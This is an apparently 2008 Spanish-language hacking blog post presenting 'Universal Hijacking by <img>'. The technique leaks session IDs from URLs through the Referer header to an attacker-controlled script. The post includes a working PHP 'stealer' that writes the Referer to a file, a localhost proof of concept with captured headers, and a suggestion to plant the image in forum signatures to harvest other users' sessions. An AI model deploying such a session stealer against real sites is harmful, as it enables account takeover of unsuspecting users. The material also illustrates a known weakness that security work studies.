jueves, 27 de noviembre de 2008

Universal Hijacking by <img> (GET Method)

Por Vengador de las Sombras (F.O.S. TeaM)


Saludos a todos!

Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada referente a esta técnica, pero en mi opinión es más que probable que haya alguna publicación donde aparezca algo... si alguien encuentra algún link donde ya hablen de esto, por favor posteadlo.


El tema en principio sería el poder robar sesiones en sistemas que usen los identificadores en variables que se introduzcan por método GET. La idea original me ha surgido mientras testeaba una web, estaba observando las cabeceras HTTP y observé que al cargar las imágenes se mostraba una cabecera de petición GET a dicha imagen, y que aparecía el campo "Referer" la URL http://example.org/index.php?id=1234. Bien, esto es una cosa obvia que todo el mundo conoce... pero bueno, mi cabeza empezó a maquinar una idea... (si, lo que todos estais pensando).

El caso es que se me ocurrió aplicar la técnica de explotación de los XSRF (la de <img src=http://example.org/index.php?acion_ha_realizar>) para apuntar a un script php nuestro, donde guardaríamos el Referer ($_SERVER['HTTP_REFERER']).


Para probar, me hice un pequeño PoC en LocalHost. Primero hice un test.php cuyo contenido era únicamente <img src=/stealer.php>. Y otro archivo con el siguiente source:

<?php
$m = fopen("referer.txt","w+");
$texto = $_SERVER['HTTP_REFERER'];
fwrite($m,$texto);
?>



Cuando ya tenía el escenario preparado, procedí a entrar a http://localhost/test.php?session=12345 y esta una de las cabeceras que obtuve:



GET /stealer.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/test.php?session=12345


Y al abrir el archivo referer.txt aparecía la URL http://localhost/test.php?session=12345 , luego el ataque tuvo éxito.


Este ataque (que no creo haber descubierto, por favor si alguien tiene alguna refernecia sobre este ataque que la postee) en principio afectaría a todo tipo de web, blog, foro, etc que dejara postear tags tipo <img> o el BBcode [img], ya que en el caso de un foro por ejemplo, podríamos ponernos una firma que apuntase a nuestro robador de sesiones....


Si existe algún tipo de error, por favor también posteadlo.
5 0verl0ad Labs: Universal Hijacking by <img> (GET Method) Por Vengador de las Sombras (F.O.S. TeaM) Saludos a todos! Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada...

1 comentario:

>> s E t H << dijo...

por fin encontre alguien mas que habla de esto

http://kuza55.blogspot.com/2008/02/racing-to-downgrade-users-to-cookie.html

< >